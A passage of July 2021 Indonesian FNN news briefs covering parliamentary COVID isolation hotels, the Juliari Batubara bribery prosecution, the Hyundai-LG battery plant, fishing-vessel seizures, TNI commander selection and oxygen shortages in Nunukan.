berada dalam situasi luar biasa yang membutuh langkah dan kebijakan yang juga luar biasa oleh semua pihak, termasuk parlemen. "Akan jauh lebih bijak dan dirasa tepat sasaran, apabila alokasi anggaran fasilitas hotel tersebut lebih berpihak pada program strategis dalam membantu masyarakat di seluruh Indonesia," ucap politisi milenial dari Partai Golkar tersebut. Roro Esti berharap kebijakan Sekretariat Jenderal ​​​​​​​(Setjen) DPR RI tersebut dikaji ulang dan anggarannya dialokasikan dengan lebih bijak untuk kemaslahatan masyarakat Indonesia. Sebelumnya, Setjen DPR menyebutkan akan memberikan fasilitas hotel bintang tiga bagi anggota legislatif hingga staf yang tengah menjalani isolasi mandiri COVID. Dalam surat tertanggal 26 Juli 2021 yang diteken Sekretaris Jenderal DPR Indra Iskandar, disebutkan bahwa Setjen telah bekerja sama dengan beberapa hotel untuk menyediakan fasilitas isolasi dan karantina bagi anggota legislatif. (mth)

Ratusan Lulusan UPT BLK Lubuk Sikaping Sudah Bekerja di Luar Negeri

Lubuk Sikaping, FNN - Ratusan lulusan UPT BLK Lubuk Sikaping, Kabupaten Pasaman, Sumatera Barat, sudah bekerja pada perusahaan swasta di empat negara dan target selanjutnya target selanjutnya ke negara Dubai. Kepala UPT BLK Lubuk Sikaping, Dinas Perdagangan, Perindustrian dan Tenaga Kerja Kabupaten Pasaman, Haryadi di Lubuk Sikaping, Kamia menyebutkan empat negara itu yakni Singapura, Brunei Darussalam, Malaysia dan Jepang, sedangkan didalam negeri Batam, Kepulauan Riau, Kota Jakarta dan lainnya. Ia menjelaskan peserta yang bekerja di Negara Malaysia dan Brunei kebanyakan bagian menjahit, selanjutnya Negara Jepang bagian otomotif perbengkelan seperti di perusahan SHOGUMI CO.LTD. Sedangkan Kota Batam, PT Philips Indonesia dan lainnya. Seluruh peserta alumni yang bekerja di dalam negeri hingga luar negeri kebanyakan tamatan tingkat Sekolah Menengah Atas (SMA) merupakan warga Kabupaten Pasaman. "Peserta yang telah bekerja di luar negeri ada tim yang menyeleksinya itupun secara ketat, tidak mudah karena sebelumnya kita juga di UPT BLK Lubuk Sikaping, mencari orang yang siap mengikuti pelatihan berbasis kompetensi, sebelum terjun ke dunia pekerjaan," tegasnya. Selain itu bagi masyarakat ingin mendaftar mengikuti pelatihan berbasis kompetensi di UPT BLK Lubuk Sikaping, silahkan saja gratis tanpa dipungut biaya harus melampirkan persyaratan yang telah ditetapkan BLK. "Pada 2021 peserta yang mengikuti pelatihan berbasis kompetensi di UPT BLK Lubuk Sikaping sudah ada jumlah sebanyak 112 orang," katanya. Informasi selanjutnya nantinya kita beritahukan ke media sosial atau silahkan datang ke kantor sekretariat UPT BLK Lubuk Sikaping harus dengan mematuhi protokol kesehatan COVID-19. Masyarakat bisa melihat perkembangan informasi seperti pengumuman pembukaan pelatihan di media sosial seperti Facebook : Blk Lubuk Sikaping, Instagram : blk lubuk sikaping. Para peserta yang telah mengikuti pelatihan ada putus sekolah dari hanya tamat Sekolah Dasar (SD), Sekolah Menengah Pertama (SMP), selanjutnya tamatan Sekolah Menengah Atas (SMA) hingga ada tamatan S1. Adapun pelatihan berbasis kompetensi di UPT BLK Lubuk Sikaping antara lain, membuat roti, membuat kue, tata rias, pembuat pakaian, komputer, perbengkelan sepeda motor dan lainnya, waktu sampai selesai mengikuti pelatihan ada satu bulan hingga tiga bulan lamanya. "Nantinya para peserta akan membagikan baju seragam pelatihan hingga uang transportasi dan terpenting sekali ilmu pengetahuan," ujarnya. (mth)

KKP Tangkap 125 Kapal Ikan hingga Juli 2021

Jakarta, FNN - Kementerian Kelautan dan Perikanan telah menangkap sekitar 125 kapal ikan hingga pekan terakhir Juli 2021, dan penangkapan terakhir adalah kapal ikan asing asal Malaysia di perairan RI. "Kami menangkap satu kapal ikan asing illegal fishing dengan nama PKFB 1603 yang mengoperasikan alat tangkap trawl di WPP (Wilayah Pengelolaan Perikanan) 571 Selat Malaka," kata Plt. Dirjen Pengawasan Sumber Daya Kelautan dan Perikanan KKP Antam Novambar, dalam siaran pers di Jakarta, Kamis. Antam mengungkapkan penangkapan yang terjadi pada 28 Juli 2021 itu berjalan tidak mudah karena propeller atau baling-baling kapal pengawas sempat terlilit tali yang dilempar oleh para pencuri ikan tersebut. Ia menjelaskan bahwa operasi pengawasan yang dilakukan oleh Kapal Pengawas Perikanan Hiu 12 yang dinakhodai oleh Novry Sangian mendeteksi keberadaan kapal tersebut pada Rabu (28/7) di sekitar landas kontinen Indonesia di Selat Malaka. Antam menjelaskan berbagai upaya dilakukan oleh kapal tersebut untuk lolos, namun karena kesigapan petugas, kapal tersebut berhasil ditangkap. “Kapal ini berusaha keras mengelabui dan meloloskan diri, namun tetap berhasil kami tangkap," ujar Antam. Antam menjelaskan bahwa saat ini kapal yang diawaki oleh empat warga negara Myanmar tersebut telah di ad hoc ke Satwas SDKP Langsa untuk menjalani proses pemeriksaan lanjutan. Antam memastikan bahwa proses hukum akan dilaksanakan sesuai dengan peraturan perundang-undangan yang berlaku. Sementara itu, Direktur Pemantauan dan Operasi Armada, Pung Nugroho Saksono menjelaskan bahwa pengejaran sempat terhambat karena propeller kapal pengawas terlilit tali yang dilempar para pencuri ikan tersebut, namun dengan sigap tali tersebut berhasil dilepas sehingga pengejaran dapat dilanjutkan. Selain itu, ujar dia, berdasarkan pemeriksaan awal yang dilakukan oleh awak kapal pengawas, tampak bahwa kapal tersebut berusaha untuk menghilangkan jejak dengan cara mematikan alat Global Positioning System (GPS) pada saat beroperasi di wilayah perairan Indonesia. Hal tersebut dilakukan agar posisi kapal tidak terekam di GPS yang akan digunakan untuk pembuktian. Selain itu, kapal tersebut juga tidak mengibarkan bendera kapal agar dikira sebagai kapal Indonesia. Namun demikian, ia memastikan bahwa aparat penegak hukum Indonesia telah dibekali dengan kemampuan pemeriksaan dan penyidikan yang baik, sehingga tidak menghalangi proses hukum yang berjalan. Dengan penangkapan kapal asing ilegal tersebut, KKP telah menangkap 125 kapal selama 2021, terdiri dari 81 kapal ikan Indonesia yang melanggar ketentuan dan 44 kapal ikan asing yang mencuri ikan, terdiri dari 15 kapal berbendera Malaysia, 6 kapal berbendera Filipina dan 23 kapal berbendera Vietnam. (mth)

Hyundai-LG Investasikan 1,1 Miliar Dolar Bangun Pabrik Sel Baterai EV

Jakarta, FNN - Konsorsium Hyundai yang terdiri atas Hyundai Motor Company, KIA Corporation, Hyundai Mobis, dan LG Energy Solution bekerja sama dengan PT Industri Baterai Indonesia atau Indonesia Battery Corporation (IBC), akan membangun pabrik sel baterai kendaraan listrik (EV) di Karawang, Jawa Barat, dengan total nilai investasi sebesar 1,1 miliar dolar AS. Penandatanganan Nota Kesepahaman (Memorandum of Understanding/MoU) untuk memulai proyek pembangunan pabrik sel baterai kendaraan listrik dilakukan Menteri Investasi/Kepala Badan Koordinasi Penanaman Modal (BKPM) Bahlil Lahadalia bersama Konsorsium Hyundai dan PT Industri Baterai Indonesia (IBI), secara virtual, Rabu (28/7). Rencananya, penyerapan tenaga kerja proyek tersebut akan mencapai sekitar 1.000 orang. Kerja sama investasi itu juga merupakan salah satu tahap dari keseluruhan rencana proyek baterai kendaraan listrik terintegrasi senilai 9,8 miliar dolar AS. Dalam keterangan tertulis di Jakarta, Kamis, Bahlil mengungkapkan apresiasinya kepada pihak Hyundai, LG maupun PT Industri Baterai Indonesia atas terlaksananya kerja sama ini. Bahlil mengakui bahwa perjanjian kerja sama ini terealisasi dengan proses dan negosiasi yang panjang sehingga dapat menguntungkan semua pihak. Ia juga mengingatkan kembali agar dalam implementasi kerja sama ini, perusahaan wajib menggandeng pengusaha dan pelaku Usaha Mikro, Kecil, dan Menengah (UMKM) lokal sebagaimana amanat dari Undang-Undang No. 11 Tahun 2020 tentang Cipta Kerja (UU CK). "Penandatanganan yang akan disaksikan bersama-sama ini, izinkan saya sampaikan agar dalam implementasinya, sesuai dengan undang-undang, berkolaborasi dengan pengusaha nasional dan UMKM. Hal ini menjadi perhatian khusus bagi pemerintah saat ini. Kami akan kawal dari awal sampai akhir investasi untuk baterai sel ini," katanya. Dalam kesempatan itu, Duta Besar Republik Korea untuk Indonesia Park Taesung mengatakan kerja sama investasi mobil listrik dan baterai tersebut akan menjadi kontributor yang secara inovatif menjalankan perekonomian yang lebih berorientasi pada lingkungan, teknologi, dan ekspor. "Saya sebagai Duta Besar Republik Korea untuk Indonesia akan menggerakkan segala dukungan agar kerja sama ini menjadi salah satu kerja sama yang sukses dan terbaik antara Korea dan Indonesia," ungkap Dubes Park. Sementara itu, Duta Besar Republik Indonesia untuk Korea Selatan Umar Hadi menyampaikan bahwa terjalinnya kerja sama ini merupakan wujud komitmen kedua negara, meskipun masih dalam kondisi pandemi COVID-19. "Dalam kerja sama ekonomi antara Indonesia dan Korea Selatan, proyek ini termasuk sangat strategis dan bersejarah karena membantu transformasi Indonesia menuju negara dengan industri yang kuat dan maju. Tentunya betul-betul mengalihkan bisnis ekstraksi menjadi manufaktur yang lebih bernilai tambah," ucap Dubes Umar. Direktur Utama PT Industri Baterai Indonesia Toto Nugroho menyampaikan kerja sama tersebut menjadi momentum dalam pembentukan industri baterai dan kendaraan listrik di Indonesia. Indonesia sendiri memiliki potensi menjadi pemain global industri baterai karena memiliki 24 persen cadangan nikel di dunia. "Kami akan memproduksi baterai secara kompetitif untuk memenuhi kebutuhan Indonesia dan juga untuk ekspor. Terima kasih atas dukungan yang sangat besar dari Kementerian Investasi, Kementerian BUMN, dan Ambassador kedua negara," kata Toto Nugroho. Sedangkan CEO Hyundai Mobis Co. Ltd Sung Hwan Cho menyampaikan komitmennya untuk mengembangkan mobil listrik dan ekosistemnya di Indonesia. "Sampai sekarang, berkat dukungan penuh dari Pemerintah Indonesia, kami sudah mencapai target untuk memajukan proyek ini dengan pihak-pihak lain. Saya merasa lebih dekat mencapai target kami, dan sekarang kedua negara akan bermitra untuk mengembangkan mobil listrik dan ekosistem ke depannya," ungkap Cho. Konsorsium Hyundai rencananya akan membentuk joint venture (JV) dengan PT Industri Baterai Indonesia selaku holding BUMN Baterai yang merupakan gabungan dari empat BUMN, yaitu PLN, Pertamina, MIND ID, dan Antam. Ada pun kerja sama investasi ini ditargetkan untuk dapat segera groundbreaking pada tahun ini. Fasilitas sel baterai ini rencananya akan memiliki kapasitas produksi sebesar 10 Giga watt Hour (GwH), yang nantinya akan menyuplai kendaraan listrik produksi Hyundai. (mth)

ICW Pertanyakan Juliari Hanya Dituntut 11 Tahun Penjara

Jakarta, FNN - Indonesia Corruption Watch (ICW) mempertanyakan Jaksa Penuntut Umum Komisi Pemberantasan Korupsi (JPU KPK) hanya menuntut 11 tahun penjara terhadap mantan Menteri Sosial Juliari Peter Batubara. "Juliari hanya dituntut hukuman 11 tahun penjara dan denda Rp500 juta subsider 6 bulan dengan pidana tambahan uang pengganti sebesar Rp14,5 miliar. Ringannya tuntutan tersebut semakin menggambarkan keengganan KPK menindak tegas pelaku korupsi bansos," kata Peneliti ICW Kurnia Ramadhana dalam keterangannya di Jakarta, Kamis. Alasannya, kata dia, pasal yang menjadi alas tuntutan, yaitu Pasal 12 huruf b Undang-Undang Pemberantasan Tindak Pidana Korupsi sebenarnya mengakomodasi penjatuhan hukuman hingga penjara seumur hidup dan denda Rp1 miliar. Ia mengatakan tuntutan pembayaran pidana tambahan uang pengganti sebesar Rp14,5 miliar juga jauh dari memuaskan karena besaran tersebut kurang dari 50 persen dari total nilai suap yang diterima Juliari. "Tuntutan yang rendah ini kontradiktif dengan semangat pemberantasan korupsi. Padahal, Pimpinan KPK telah sesumbar menyatakan akan menghukum berat koruptor bansos COVID-19," ujar Kurnia. Melihat rendahnya tuntutan JPU terhadap Juliari, ia meminta Majelis Hakim mengambil langkah progresif dengan menjatuhkan hukuman maksimal yaitu, pidana penjara seumur hidup kepada Juliari. "Penjatuhan hukuman yang maksimal terhadap Juliari Batubara sudah sepatutnya dilakukan, mengingat ada banyak korban bansos yang haknya dilanggar di tengah pandemi COVID-19, akibat praktik korupsi ini. Ke depannya, vonis maksimal tersebut diharapkan berdaya cegah terhadap potensi terjadinya kasus serupa, terutama di tengah kondisi pandemi," tutur Kurnia. Sebelumnya, Juliari dituntut 11 tahun penjara ditambah denda Rp500 juta subsider 6 bulan kurungan. Selain pidana badan, Juliari juga dituntut untuk membayar uang pengganti kepada negara sebesar Rp14.597.450.000,00 subsider 2 tahun penjara dan pencabutan hak untuk dipilih dalam jabatan publik selama 4 tahun sejak Juliari selesai menjalani pidana pokoknya. Juliari dinilai JPU KPK terbukti menerima suap Rp32,482 miliar dari 109 perusahaan penyedia bantuan sosial sembako COVID-19 di wilayah Jabodetabek. Tuntutan tersebut berdasarkan dakwaan pertama, yaitu Pasal 12 huruf b jo Pasal 18 UU No. 31 Tahun 1999 sebagaimana diubah UU No. 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat 1 ke-1 KUHP jo Pasal 64 ayat 1 KUHP. (mth)

Fasilitas Isoman Bagi Anggota DPR Menyakiti Hati Rakyat

Jakarta, FNN - Anggota Komisi II DPR RI Yanuar Prihatin, menilai rencana Sekretariat Jenderal DPR RI yang akan menggunakan fasilitas hotel untuk isolasi mandiri bagi anggota parlemen terpapar Covid-19 sangat menyakiti hati rakyat Indonesia. "Di tengah berbagai kesulitan yang dihadapi masyarakat, rencana semacam ini sungguh menyakiti hati rakyat," kata Yanuar dalam keterangannya di Jakarta, Kamis, (29/7/2021). Menurut dia, kondisi sekarang sangat sulit karena warga yang terpapar Covid-19 harus antre untuk dapat pelayanan di rumah sakit. Bahkan, belum tentu dapat kamar jika ingin isolasi di rumah sakit. Selain itu, dia menilai bagi masyarakat yang terpapar Covid-19 dengan gejala berat dan ada penyakit bawaan, belum tentu juga rumah sakit memiliki ketersediaan kamar untuk menampungnya. "Coba rasakan situasi darurat semacam ini, bagi masyarakat bawah yang terpapar Covid-19 situasi mereka pasti lebih sulit lagi. Obat-obatan gratis yang disiapkan pemerintah belum tentu menjangkau mereka sepenuhnya," ujarnya sebagaimana dikutip dari Antara. Yanuar menilai agak memalukan apabila anggota DPR minta diberikan fasilitasi khusus untuk isoman di saat suasana rakyat sedang kesusahan. Menurut dia, anggota DPR memiliki kemampuan untuk mengurus dirinya sendiri jika terpapar Covid-19 karena pasti paham apa yang harus dilakukan. Misalnya, mampu membeli obat-obatan sendiri dan bisa isolasi sendiri. Politisi PKB itu menilai, jika ada anggaran khusus untuk fasilitasi isoman anggota DPR, lebih baik disalurkan untuk kebutuhan masyarakat. Sebelumnya, Sekretariat Jenderal DPR RI menerbitkan surat edaran bernomor SJ/09596/SETJEN DPR RI/DA/07/2021 yang berisi informasi terkait penyediaan fasilitas isolasi mandiri bagi anggota DPR yang terpapar positif Covid-19 tanpa gejala (OTG) maupun gejala ringan. Fasilitas karantina/isolasi mandiri tersebut diperuntukkan bagi Anggota DPR RI, staf dan ASN di lingkungan DPR yang terkonfirmasi positif Covid-19. Fasilitas isoman tersebut disediakan di dua hotel bintang tiga di Jakarta yaitu Hotel Ibis di Jalan Daan Mogot dan Hotel Oasis di Jalan Senen Raya. (MD).

Calon Panglima TNI Jangan Hasil Lobi-Lobi Politik

Jakarta, FNN - Direktur Pusat Studi Konstitusi (Pusako) Feri Amsari mengatakan calon pengganti Panglima TNI Marsekal Hadi Tjahjanto jangan hasil lobi-lobi politik. Feri dalam keterangan tertulis di Jakarta, Kamis (29/7/2021) menjelaskan Panglima TNI harus dipilih berdasarkan profesionalitas, kepemimpinan, integritas dan loyalitas terhadap Presiden. Ia menegaskan, Panglima TNI yang akan datang tidak boleh ada dualisme loyalitas seperti kepada presiden dan parpol atau broker pelobi-nya. "Panglima TNI harus loyal hanya kepada presiden. Lebih tepatnya, Panglima TNI harus loyal kepada negara, bangsa dan konstitusi," ucap dia menegaskan. Dosen Fakultas Hukum Universitas Andalas itu menjelaskan, Panglima TNI harus seorang figur yang apolitis. Oleh karena itu, tidak boleh berkaitan dengan kepentingan politik kubu mana pun. Sehingga Panglima TNI yang dipilih tidak ikut politik praktis dan patuh pada konstitusi serta HAM. Panglima TNI harus loyal dan patuh pada presiden karena presiden adalah Panglima Tertinggi TNI. Komunikasi politik yang dibangun dengan presiden pun harus baik dan langsung, tidak melewati orang lain. Sehingga dapat menerjemahkan semua perintah arahan presiden secara komprehensif. Sementara itu, pegiat Hak Asasi Manusia (HAM), Ahmad Fanani Rosyidi, menambahkan pergantian Panglima TNI harus mempertimbangkan keseimbangan antar-matra sesuai yang berlaku dalam UU TNI Nomor 34 tahun 2004. Oleh karena itu, jika melenceng dari UU tersebut maka akan merusak tatanan atau kultur yang sudah ada di organisasi TNI. Apalagi, jika dalam pergantian Panglima TNI mempertimbangkan alasan politik atau kekuasaan semata. "Jika hal itu yang terjadi maka akan merusak profesionalitas dan keseimbangan di tubuh TNI," ujar Ahmad seperti dikutip dari Antara. Mantan peneliti bidang HAM Setara Institute ini menegaskan, Pasal 14 ayat 4 UU TNI menjelaskan, Panglima TNI dapat dijabat secara bergantian oleh perwira tinggi aktif dari tiap-tiap angkatan yang sedang atau pernah menjabat kepala staf angkatan. Selain itu merujuk prinsip yang diatur pada Pasal 4 ayat 2 UU TNI bahwa tiap-tiap angkatan mempunyai kedudukan yang sama dan sederajat. "Tetapi pergantian Panglima TNI merupakan hak prerogatif presiden dan juga produk politik di forum DPR. Namun demikian, pergantian Panglima TNI harus proporsional dan taat kontitusi sesuai UU TNI Nomor 34 tahun 2004, khususnya pada pasal 4 ayat 2 menyangkut prinsip kedudukan tiap-tiap angkatan yang sama dan sederajat agar tidak ada dominasi," tutur Ahmad. Terkait upaya dan antisipasi agar Panglima TNI ke depan tidak dimanfaatkan untuk agenda 2024, mantan peneliti bidang HAM di ELSAM ini meminta agar Presiden Jokowi segera menyodorkan nama calon Panglima TNI ke DPR sesuai dengan waktunya. Sehingga DPR bisa menentukan dan mengusulkan siapa yang bisa menjadi Panglima TNI untuk menggantikan Marsekal Hadi Tjahjanto. "Walaupun penentuan Panglima TNI hak prerogatif presiden, tetapi harus sesuai konstitusi sehingga tidak ada dominasi matra untuk menjadi Panglima TNI," ujarnya. Oleh karena itu, sambung Fanani, saat ini Jokowi diuji untuk memilih siapa yang bakal menjadi Panglima TNI. Pilihan Jokowi juga harus menghindari polemik. Karena jika yang dipilihnya keluar dari konstitusi maka akan menimbulkan polemik yang berkepanjangan. Oleh karena itu, dipastikan Jokowi akan taat UU dan kultur TNI dalam menentukan Panglima TNI. Saat ini ada dua nama Jenderal yang mencuat kuat dan digadang-gadang akan menggantikan posisi sebagai Panglima TNI. Kedua sosok yang namanya kerap santer dibicarakan adalah KSAL Laksamana Yudo Margono dan KSAD Jenderal Andika Perkasa. (MD).

Kantor PDI Perjuangan di Lenteng Agung Jadi Sekolah Partai

Jakarta, FNN - Kantor PDI Perjuangan di Lenteng Agung, Jakarta Selatan, dialihfungsikan menjadi gedung Sekolah Partai bagi para kader partai berlambang banteng hitam moncong putih itu. "Di sini nanti akan menjadi salah satu pusat pendidikan dan pelatihan tingkat pusat untuk para kader dan anggota partai. Para calon pemimpin dan pelayan masyarakat akan dididik dan dilatih sesuai dengan ideologi partai," kata Sekjen DPP PDI Perjuangan, Hasto Kristiyanto, dalam siaran persnya, di Jakarta, Kamis. Menurut dia, pendidikan dan pelatihan itu adalah krusial karena seperti pesan Ketua Umum DPP PDI Perjuangan, Megawati Soekarnoputri, Sekolah Partai adalah bagian dari sistem kaderisasi yang dibangun oleh partai demi menghasilkan calon pemimpin yang berproses dari bawah, dan mengabdi pada bangsa dan negara Indonesia. "Di Sekolah Partai ini calon pengurus Partai, calon anggota legislatif, dan calon kepala daerah-calon wakil kepala daerah digemleng agar memiliki kesadaran ideologis berdasarkan Pancasila, dapat mengambil inti sari sejarah kemerdekaan bangsa, dan memiliki spirit untuk membawa kemajuan dan kejayaan bangsa Indonesia," kata Kristiyanto. Secara khusus, lanjut dia, Megawati juga menginstruksikan agar dalam kurikulum Sekolah Partai juga diberi pemahaman tentang geopolitik dan bagaimana kepemimpinan Indonesia di dunia internasional. Selain itu, Sekolah Partai juga melekat dengan disiplin. Disiplin ideologi, teori, organisasi, dan disiplin di dalam menjadikan rakyat sebagai sumber energi perjuangan partai. "Kader partai yang dididik dan terlatih di Sekolah Partai wajib memahami hakekat politik untuk turun ke bawah dan berpihak pada wong cilik," kata dia. Adapun sekolah partai ini terdiri dari sebuah aula besar, tiga ruang kelas pendukung, tempat tidur dengan kapasitas 200 orang, ruang makan dan ruang medis, kantin Mustika Rasa, serta ruang khusus bernama Soekarno Corner. "Kantin Mustika Rasa terinspirasi dari buku resep asli kuliner Indonesia, satu-satunya yang dibuat di era Bung Karno. Sedang Soekarno Corner adalah perpustakaan yang menggambarkan keseluruhan sejarah perjuangan Bung Karno, dan bagaimana partai menaruh perhatian yang begitu besar terhadap pentingnya penguasaan ilmu pengetahuan dan teknologi demi memajukan bangsa," ujar dia. Sebuah lukisan khusus besar akan juga dipajang di salah satu bagian dari Sekolah Partai ini, isinya gambar para pemuka agama serta kepercayaan di Indonesia. Ini sebagai sebuah gambaran Indonesia yang beragam dan multikultur. Inilah kekayaan Indonesia yang harus terus kita jaga. Dia menambahkan, rencananya gedung Sekolah Partai ini akan diresmikan pada 22 Agustus 2021, yang ini terinspirasi dari peristiwa ketika sidang Komite Nasional Indonesia Pusat pada 22 Agustus 1945, dimana beberapa keputusan bersejarah tentang pembentukan Badan Keamanan Rakyat, dan Partai Nasional Indonesia. "PDI Perjuangan meyakini hanya dengan pendidikan politik dan kaderisasi berbagai upaya meningkatkan kualitas kepemimpinan kader partai dapat dilakukan. Sekolah Partai yang berjalan secara berjenjang, sistemik, dan visioner bagi perjalanan bangsa dan negara ke depan adalah jawaban PDI Perjuangan guna memerbaiki seluruh kehidupan politik di Tanah Air," kata dia. (mth)

BI Ungkap Sektor yang Siap Mendukung Pertumbuhan Kredit pada 2021

Jakarta, FNN - Deputi Gubernur Senior Bank Indonesia (BI) Destry Damayanti membeberkan terdapat beberapa sektor yang sudah berhasil maupun siap untuk mendukung pertumbuhan kredit pada 2021. "Kami coba membedah sektor mana saja dan kami lihat seberapa siap perbankan menyalurkan kredit ke sektor-sektor ini," kata Destry dalam diskusi daring di Jakarta, Kamis. Ia menyebutkan, sektor yang dimaksud yakni industri makanan, minuman, dan tembakau, tanaman perkebunan, industri kimia, industri elektronik, radio, televisi, dan peralatan komunikasi, tanaman pangan, perdagangan eceran, industri, karet, serta perdagangan impor. Menurut dia, industri makanan, minuman, dan tembakau, tanaman perkebunan, serta industri kimia, merupakan sektor yang memiliki daya tahan cukup tinggi atau resilient di tengah COVID-19, sehingga sejak 2020 sektor-sektor tersebut sudah berhasil mendorong pertumbuhan kredit. Sementara itu, industri elektronik, radio, televisi, dan peralatan komunikasi, serta tanaman pangan merupakan pendorong pertumbuhan ekonomi atau growth driver, sehingga kedua sektor tersebut sangat menjanjikan ke depannya untuk mendukung kredit perbankan. "Apalagi di era normal baru yang kita hadapi sekarang ini, maka telekomunikasi atau dunia yang berbasis digital itu merupakan sesuatu yang sangat menjanjikan ke depan, karena inilah pola kehidupan kita kedepannya," ungkap Destry. Sedangkan, ia menilai, perdagangan eceran, industri, karet, serta perdagangan impor merupakan slow sectors atau sektor yang sudah mau bertumbuh, tetapi membutuhkan dorongan ataupun kebijakan untuk siap mendukung penyaluran kredit. Sementara itu, terdapat beberapa sektor yang sudah siap namun belum mampu mendukung pertumbuhan kredit, yaitu industri barang galian bukan logam, industri barang dari logam, industri kayu dan furnitur, industri kertas, serta industri otomotif dan alat angkut lainnya. (mth)

Bank Dunia: Indonesia Perlu Tingkatkan Konektivitas Digital

Jakarta, FNN - Ekonom Senior Bank Dunia Sailesh Tiwari merekomendasikan Indonesia untuk meningkatkan konektivitas digital dan akses universal terutama kepada separuh populasi yang belum terpapar teknologi digital untuk menekan tingkat ketimpangan. Menurut dia, ketiadaan akses digital yang memadai bisa menciptakan ketimpangan daerah, apalagi hanya 30 persen dari warga dewasa di kawasan pedesaan Indonesia yang terkoneksi dengan internet. "Ukuran penduduk yang besar ini menciptakan ketimpangan antar daerah, dimana hanya sepertiga populasi dewasa di Papua yang sudah terkoneksi ke internet dibandingkan 50 persen lebih di Jawa dan Bali," kata Tiwari dalam paparan virtual World Bank Indonesia Digital Report di Jakarta, Kamis. Ia memastikan layanan internet di rumah sangat penting untuk belajar maupun bekerja, terutama di tengah pandemi COVID-19, tetapi populasi yang terkoneksi dengan high broadband atau internet dengan kecepatan tinggi masih sangat minim. Selain itu, menurut data Bank Dunia, sebanyak 40 persen rumah tangga mengungkapkan bahwa biaya pendaftaran untuk broadband masih sangat mahal. "Ini isu paling penting. Di tingkat global, Indonesia berada pada posisi 131 terkait biaya langganan internet, yang artinya biaya masih menjadi masalah besar bagi masyarakat Indonesia dan memengaruhi struktur broadband di Indonesia," katanya. Untuk itu, sebagai upaya meningkatkan konektivitas digital, Tiwari membuat tiga rekomendasi utama. Pertama, pemerintah perlu mengalokasikan sistem untuk mobile broadband yang lebih baik. "Maksud di sini bagaimana melaksanakan switch offer analog yang memiliki karakteristik penyebarluasan sesuai dengan konektivitas di pedesaan, dan high frequency band untuk menghilangkan hambatan jaringan," katanya. Kedua, pemerintah Indonesia perlu memperkuat jaringan infrastruktur aktif dan pasif, meski akan memengaruhi biaya investasi bagi para penyedia jasa layanan internet. Ketiga, Indonesia harus mempertimbangkan menerapkan unified sistem dengan pembuat regulasi yang akan memudahkan penyedia layanan internet. (mth)

KPK: Tuntutan 11 Tahun Penjara Juliari Sesuai Fakta Persidangan

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menyatakan tuntutan 11 tahun penjara terhadap mantan Menteri Sosial Juliari Peter Batubara berdasarkan fakta-fakta hasil persidangan bukan karena desakan pihak manapun. "Dalam menuntut terdakwa, tentu berdasarkan fakta-fakta hasil persidangan perkara dimaksud bukan karena pengaruh adanya opini, keinginan maupun desakan pihak manapun," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Ali mengatakan pertimbangan alasan memberatkan dan meringankan terhadap terdakwa Juliari juga menjadi dasar dalam menuntut baik pidana penjara, uang pengganti maupun denda, dan pencabutan hak politik. "Perlu kami tegaskan kembali, dalam perkara ini terdakwa dituntut terkait pasal suap, bukan Pasal 2 ayat (2) UU Tipikor. Penerapan pasal tentu karena berdasarkan fakta-fakta yang diperoleh dari hasil penyidikan," ucap Ali. Adapun bunyi Pasal 2 ayat (2) UU Tipikor, yakni dalam hal tindak pidana korupsi sebagaimana dimaksud dalam ayat (1) dilakukan dalam keadaan tertentu, pidana mati dapat dijatuhkan. Sebagai pemberatan tuntutan, kata dia, Jaksa Penuntut Umum (JPU) KPK juga menuntut uang pengganti yang dapat diganti hukuman penjara jika tidak dibayarkan. "Perlu juga kami sampaikan, sekalipun dalam beberapa perkara tindak pidana korupsi, uang pengganti dibebankan kepada terdakwa dalam perkara yang berhubungan dengan penerapan Pasal 2 atau 3 UU Tipikor, yaitu yang berhubungan dengan kerugian negara," katanya. Namun, ia mengatakan JPU tentu juga memiliki dasar hukum kuat dalam menuntut uang pengganti terhadap terdakwa Juliari tersebut dan berharap Majelis Hakim akan mengabulkan seluruh tuntutan tim JPU. Sebelumnya, Juliari dituntut 11 tahun penjara ditambah denda Rp500 juta subsider 6 bulan kurungan. Selain pidana badan, Juliari juga dituntut untuk membayar uang pengganti kepada negara sebesar Rp14.597.450.000,00 subsider 2 tahun penjara dan pencabutan hak untuk dipilih dalam jabatan publik selama 4 tahun sejak Juliari selesai menjalani pidana pokoknya. Juliari dinilai JPU KPK terbukti menerima suap Rp32,482 miliar dari 109 perusahaan penyedia bantuan sosial sembako COVID-19 di wilayah Jabodetabek. Tuntutan tersebut berdasarkan dakwaan pertama, yaitu Pasal 12 huruf b jo Pasal 18 UU No 31 Tahun 1999 sebagaimana diubah UU No 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat 1 ke-1 KUHP jo Pasal 64 ayat 1 KUHP. (mth)

Penuhi Kebutuhan RSUD Nunukan Rencanakan Pasok Oksigen dari Malaysia

Nunukan, FNN - Rumah Sakit Umum Daerah (RSUD) Nunukan, Kalimantan Utara (Kaltara) terpaksa merencanakan memasok kebutuhan oksigen dari Tawau, Malaysia, karena jumlah pasien COVID-19 yang dirawat di rumah sakit tersebut terus meningkat. Kepala Bidang Pelayanan RSUD Nunukan dr Ketut Karyawan di Nunukan, Kamis, membenarkan rencana mendatangkan kekurangan oksigen tersebut dari Malaysia. Ia memprediksi pasien COVID-19 yang dirawat di rumah sakit itu akan terus meningkat, sehingga solusi tepat dengan memasok oksigen dari negeri jiran. Saat ini, kata Ketut, jumlah pasien yang dirawat di RSUD Nunukan sebanyak 23 orang. Sementara ketersediaan oksigen semakin menipis. Ketut mengungkapkan kebutuhan oksigen untuk pasien COVID-19 yang diupayakan dari Kota Tarakan hanya diperoleh 20 tabung saja. Oleh karena itu, lanjutnya, perlu ada antisipasi lebih dini jika kasus COVID-19 meningkat, yakni dengan memasok oksigen sebanyak 100 tabung dari Malaysia. "Kita sudah komunikasikan dengan salah seorang pengusaha di Tawau (Malaysia) soal rencana mendatangkan oksigen itu," ujarnya melalui sambungan telepon seluler. Ia membeberkan bahwa oksigen yang akan didatangkan dari negara tetangga itu sedang dilengkapi dokumennya sebelum dibawa ke Kabupaten Nunukan. (mth)

KPK Panggil Petinggi Sarana Jaya Kasus Korupsi Pengadaan Tanah

